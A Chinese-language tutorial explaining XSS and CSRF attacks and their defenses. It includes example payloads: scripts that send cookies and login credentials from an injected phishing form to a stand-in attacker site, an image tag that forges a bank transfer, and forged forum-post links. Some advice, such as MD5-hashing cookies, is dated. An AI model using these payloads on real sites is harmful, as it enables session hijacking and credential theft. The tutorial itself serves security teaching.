对于这两个攻击大家很容易混淆,今天我就通俗易懂地分析二者的根本区别。不懂包换!
1.跨站脚本攻击(XSS)
XSS的全称为Cross site scripting 跨站脚本攻击,为了与CSS与分开来,因此简称XSS,是web中最常见的漏洞。指攻击者在网页中嵌入恶意的客户端脚本(例如Javascript),当用户浏览此网页时,脚本就会在用户的浏览器上运行,用户浏览器就会被攻击者控制。比如获取用户的cookie,导航到恶意网站,携带木马等。预防措施,防止下发界面显示html标签,把</>等符号转义。
没有例子说个JB,上栗子:
假如页面下有一个输入框:
<input type="text" name="record" value="我现在还是一脸懵逼">
“我现在还是一脸懵逼”是来自用户的输入,如果用户输入的是"onfocus="alert(document.cookie)
那么就悲剧了,就会变成
<input type="text" name="address1" value="" onfocus="alert(document.cookie)">
事件被触发的时候嵌入的JavaScript代码将会被执行。至于攻击的威力,取决于用户输入了什么样的脚本。
那XSS有哪些危害呢?
1.盗取用户cookie,伪造用户身份
例如注入一下代码:
<script>location.replace("http://www.attackpage.com/record.asp?secret="+document.cookie)</script>
当受害者的浏览器执行这段脚本的时候,就会自动访问攻击者建立的网站www.attackpage.com,打开其中的recourd.asp,将受害者浏览器的Cookie信息给记录下来。这样,攻击者就得到了用户的Cookie信息。
得到受害者的Cookie信息后,攻击者可以很方便地冒充受害者,从而拥有其在目标服务器上的所有权限,相当于受害者的身份认证被窃取了。
2.控制用户浏览器
3.传播恶意软件
除了直接注入恶意脚本以外,通过XSS攻击,攻击者也可以很方便地在脚本中引入一些恶意软件,比如病毒、木马、蠕虫等等。例如,攻击者可以在某个自己建立的页面上放置一些恶意软件,然后用XSS注入的方式,插入一段引用该页面的脚本。这样当受害者的浏览器执行这段脚本的时候,就会自动访问放置了恶意软件的页面,从而受到这些恶意软件的感染。
4.衍生URL跳转漏洞(CSRF攻击)
比如我们注入如下的HTML代码:
<img src = “http://www.bank.com/transfer.do?toAct=123456&money=10000>
假如上面的代码中所访问的是某个银行网站的转账服务,则当受害者的浏览器运行这段脚本时,就会向攻击者指定的账户(示例的123456)执行转账操作。由于这个转账请求是在受害者的浏览器中运行的,因此浏览器也会自动将受害者的Cookie信息一并发送。这样,发送的请求就好像是受害者自己发送的一样,银行网站也将认可这个请求的合法性,攻击者也就达到了伪造请求的目的。
5.官网挂钓鱼网站
所谓钓鱼网站就是构建一个有诱惑力的页面(你懂的),诱骗受害者在其中输入一些敏感信息,然后将其发送给攻击者。利用XSS的注入脚本,我们也可以很方便地注入钓鱼页面的代码,从而引导钓鱼攻击。比如下面这样一段代码:
<script> function hack(){ location.replace("http://www.attackpage.com/record.asp?username="+document.forms[0].user.value + "password=" + document.forms[0].pass.value); } </script> <form> <br> <H3>此功能需要登录:</H3 > <br><br>请输入用户名:<br> <input type=”text” id=”user”name=”user”> <br>请输入密码:<br> <input type=”password” name =“pass”> <br><input type=”submit”name=”login” value=”登录”onclick=”hack()”> </form>
注入上面的代码后,则会在原来的页面上,插入一段表单,要求用户输入自己的用户名和密码,而当用户点击“登录”按钮后,则会执行hack()函数,将用户的输入发送到攻击者指定的网站上去。这样,攻击者就成功窃取了该用户的账号信息。和一般的钓鱼攻击不同,XSS引导的钓鱼攻击由于是对用户信任的网站页面进行修改的。
写到这里有点饿,放一张美食先。
看饱了抓紧干活!
那如何预防XSS攻击呢?
很简单,看我的:
1.输入过滤
检测用户输入的数据,比如过滤其中的"<"、">"、"/"等可能导致脚本注入的特殊字符,或者过滤"script"、"javascript"等脚本关键字,或者对用户输入数据的长度进行限制等等。同时,也要考虑用户可能绕开ASCII码,使用十六进制编码来输入脚本。因此,对用户输入的十六进制编码也要过滤。只要能够严格检测每一处交互点,保证对所有用户可能的输入都进行检测和XSS过滤,就能过有效地组织XSS攻击。
2.输出编码
之所以会产生XSS攻击,就是因为Web应用程序将用户的输入直接嵌入到某个页面当中,作为该页面的HTML代码的一部分。因此,当Web应用程序将用户的输入数据输出到目标页面中时,只要用HtmlEncoder等工具先对这些数据进行编码,然后在输出到目标页面中。这样,如果用户输入一些HTML脚本,也会被当做普通文字,而不会成为目标HTML代码的一部分得到执行。
3.cookie防盗
攻击者通过XSS攻击很容易方便地窃取到合法用户的cookie信息。因此,对于cookie,我们可以采取以下措施:首先,我们要尽可能地避免在cookie中泄露隐私,如用户名、密码等;其次,我们可以将cookie信息利用MD5等hash算法进行多次散列后存放;再次,为了反正重放攻击,我们可以将cookie和IP绑定,这样也可以阻止攻击者冒充正常用户身份。
2.CSRF 攻击
CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF。
你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求。CSRF能够做的事情包括:以你的名义发送邮件,发消息,盗取你的账号,甚至购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全。预防措施,请求中加入随机数,让钓鱼网站无法正常伪造请求。
举个栗子:
例如,一论坛网站的发贴是通过 GET 请求访问,点击发贴之后 JS 把发贴内容拼接成目标 URL 并访问:
http://example.com/bbs/create_post.php?title=标题&content=内容
那么,我只需要在论坛中发一帖,包含一链接:
http://example.com/bbs/create_post.php?title=我是脑残&content=哈哈
只要有用户点击了这个链接,那么他们的帐户就会在不知情的情况下发布了这一帖子。可能这只是个恶作剧,但是既然发贴的请求可以伪造,那么删帖、转帐、改密码、发邮件全都可以伪造。
比如删帖:
http://example.com/bbs/create_post.php?type=delete&id=81723
总体来说,目前防御 CSRF 的诸多方法还没几个能彻底无解的,只能通过提高攻击门槛尽可能的防御。
那么怎么防御呢?
1.验证码
几乎所有人都知道验证码,但验证码不单单用来防止注册机的暴力破解,还可以有效防止CSRF攻击。验证码算是对抗CSRF攻击最简洁有效的方法。但使用验证码的问题在于,不可能在用户所有操作上都需要输入验证码,只有一些关键的操作才要求输入验证码。不过虽这么HTML5的发展,利用canvas标签,前端也能识别验证码的字符,让CSRF攻击生效。
2.Token
CSRF能攻击成功,根本原因是操作所带领的参数均被攻击者猜测到。既然知道根本原因,我们就对症下药,利用Token。当向服务器传参数时,带上Token。这个Token是一个随机值,并且由服务器和用户同时持有。当用户提交表单时带上Token值,服务器就能验证表单和session中的Token是否一致。
针对表单比较可行的解决方案遵循三步:
1.在用户登录时,设置一个CSRF的随机token,同时种植在用户的cookie中,当用户浏览器关闭或者再次登录、退出时,清除token;
2.在表单中,生成一个隐藏域,它的值就是cookie中随机token
3.表单提交后,在web服务器端,判断表单中是token是否和用户cookie中的token一致,如果不一致或者为空,就判断为CSRF攻击。